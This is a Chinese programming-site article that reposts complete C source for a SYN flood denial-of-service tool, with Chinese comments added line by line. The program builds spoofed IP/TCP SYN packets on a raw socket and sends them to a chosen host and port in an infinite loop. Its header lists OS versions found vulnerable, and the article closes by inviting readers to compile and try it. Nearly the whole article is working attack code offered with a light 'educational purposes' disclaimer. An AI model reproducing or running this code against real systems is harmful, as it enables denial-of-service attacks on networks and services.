程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 一個SYN攻擊的代碼分析--Used Gcc/RedHat Linux 9.0編譯

一個SYN攻擊的代碼分析--Used Gcc/RedHat Linux 9.0編譯

編輯:關於PHP編程

Linux時代這是一個LINUX/UNIX的時代,你還在為自己懂一點點的 Java development..這是一個SYN攻擊的源程序: 大家試著讀一讀,看是否能讀懂,不懂可以給我留言E-MAIL:QIYU155·126。COM。 我加的有中文注釋!
這是一個SYN攻擊的源程序: 大家試著讀一讀,看是否能讀懂,不懂可以給我留言。 我加的有中文注釋。 /* Syn Attack against a port for Solaris */ /* Original land attack, land.c by m3lt, FLC */ /* Ported to 44BSD by blast and jerm */ /* Ported to Solaris by ziro antagonist */ /* Referenced flood.c by unknown author */ /* Converted into a syn attack against one port by CRG */ /* Please use this for educational purposes only */ /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* Additional notes: */ /* Successfully compiled on Solaris 2.51 and 2.6 */ /* Runs: synsol    */ /* */ /* Tested it on: Solaris 2.6 */ /* */ /* Attacked against: */ /* Linux 2.0.33 - vulnerable */ /* Linux 2.0.30 - vulnerable */ /* Linux 1.2.13 - vulnerable */ /* Solaris 2.4 - vulnerable */ /* Solaris 2.5.1 - vulnerable */ /* SunOS 4.1.3_U3 - vulnerable */ /* Solaris 2.6 - not vulnerable */ /* */ /* Most of these test machines are not patched because they */ /* are in test lab. I tested the program against port 23 and */ /* every once in awhile I did get through. */ /* */ /* Direct any comments, questions, improvements to */ /* [email protected] */ /* http://www.genocide2600.com/~tattooman/ */ /* Your emails will be forwarded to the author, who wishes */ /* to remain known only as CRG (no email addy or URL) */ /*jjgirl:上面的注釋的不用說了!*/ #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  /*jjgirl:上面是頭文件!*/   unsigned long srcport;   struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; /*jjgirl:定義一個偽裝地址的結構!*/   u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0;   while (nleft > 1) { sum += *w++; nleft -= 2; }   if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } /*jjgirl:上面校驗文件!包頭是需要校驗的,CRC校驗!*/     int main(int argc,char * * argv) {/*jjgirl:主程序開始了!*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; /*jjgirl:上面定義變量!*/   fprintf(stderr,"Syn attack against one port.(Infinite) ");   if(argc<4) { fprintf(stderr,"usage: %s    ",argv[0]); return(-1); } /*jjgirl:上面是判斷參數!*/ fprintf(stderr,"%s:%s is being synd attacked by %s. ",argv[1],argv[2],argv[3]); bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/ sin.sin_family=AF_INET; if((host1=gethostbyname(argv[3]))!=NULL) bcopy(host1->h_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source host %s ",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown destination host %s ",argv[1]); return(-1); }   if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s ",argv[2]); return(-1); } /*jjgirl:上面是給sockaddr_in結構賦值,需要指明協議,端口號!*/       if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldnt allocate raw socket "); return(-1); } /*jjgirl:上面開始Socket了!*/   foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) { fprintf(stderr,"couldnt set raw header on socket "); return(-1); } /*jjgirl:上面是為了重構報頭!*/   for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr;   tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0;   bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); /*jjgirl:上面是重構報頭!*/   srcport= (10000.0*random()/(15000+1.0)); /*jjgirl:端口當然要變!*/   if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) /*jjgirl:攻擊開始!*/ { fprintf(stderr,"couldnt send packet,%d ",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1)))   /*jjgirl:顯示次數! Jjgirl 把上面一句,改為如下兩句,增加顯示效果,隨你的便! int k=j; if((k%10)==0) printf(" "); */   } /*The end of the infinite loop*/ close(sock); return(0); } /*jjgirl:結束!編譯試試吧!如果有看不懂可以給我留言,或E-MAIL:[email protected]!*/

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved